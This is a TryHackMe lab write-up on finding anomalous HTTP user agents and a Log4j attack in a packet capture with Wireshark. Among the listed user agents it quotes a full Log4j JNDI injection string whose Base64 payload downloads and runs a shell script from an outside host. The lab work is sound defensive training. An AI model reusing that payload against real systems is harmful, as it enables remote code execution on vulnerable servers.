Unraveling a Ransomware Attack Chain: TryHackMe First Shift CTF — Task 8: Promotion Night
Hands-on Splunk investigation covering ransomware deployment, persistence mechanisms, lateral movement, and AWS data exfiltration
Wireshark Traffic Analysis: HTTP Cleartext Protocol Analysis
A TryHackMe Practical Exercise Writeup
Task 7 — Cleartext Protocol Analysis: HTTP
Introduction:
This article explores several questions related to network security, focusing on identifying anomalous user agents, spotting subtle anomalies in packet data, and locating specific attack patterns. By analyzing a packet list, we will demonstrate how to spot suspicious user-agent behaviors and decode critical information during a Log4j attack.
Question 1:
Investigate the user agents. What is the number of anomalous “user-agent” types?
Process:
To answer this question, I needed to examine all user agents used, so I added a new column to the packet list table. After reviewing the entries, I identified the following suspicious user agents:
- Mozilla/5.0 (Windows; U; Windows NT 6.4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
- Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
- Wfuzz/2.4
- sqlmap/1.4#stable (http://sqlmap.org)
- ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
- Mozlila/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0 GET /categories.php HTTP/1.1
I also encountered an empty user agent, which in many contexts is considered an anomaly in an HTTP connection (see image below). Further investigation revealed that it contained suspicious encrypted data related to an uploaded Base64-encoded gzip file, but it appears that this case does not count for this exercise (otherwise, the correct answer would be 7).
Answer: 6
Question 2:
What is the packet number with a subtle spelling difference in the user agent field?
Process:
The last entry from the previous list of anomalous user agents provided the answer:
The user agent “Mozlila” (instead of Mozilla) was identified in packet 52.
Answer: 52
Question 3:
Locate the “Log4j” attack starting phase. What is the packet number?
Process:
To locate the attack’s starting phase, I considered the following:
- The attack begins with a “POST” request.
- There are known cleartext patterns such as “jndi:ldap” and “Exploit.class”.
I filtered by the HTTP POST method (http.request.method == "POST") and checked the results for one of the patterns.
I found one with “jndi:ldap” in the user agent.
Answer: 444
Question 4:
Locate the “Log4j” attack starting phase and decode the base64 command. What is the IP address contacted by the adversary? (Enter the address in defanged format and exclude “{}”.)
Process:
Since the packet found in the previous question marks the attack’s starting phase, I copied its value and used CyberChef to decode it from Base64. Then, I isolated the IP address and applied “Defang IP Addresses”.
Answer: 62[.]210[.]130[.]250
Conclusion:
By analyzing the packet list and identifying specific patterns, we can successfully pinpoint anomalous user agents, locate potential security threats, and extract valuable information such as IP addresses. This process is crucial in detecting and mitigating attacks such as Log4j, which remains a significant concern in network security.
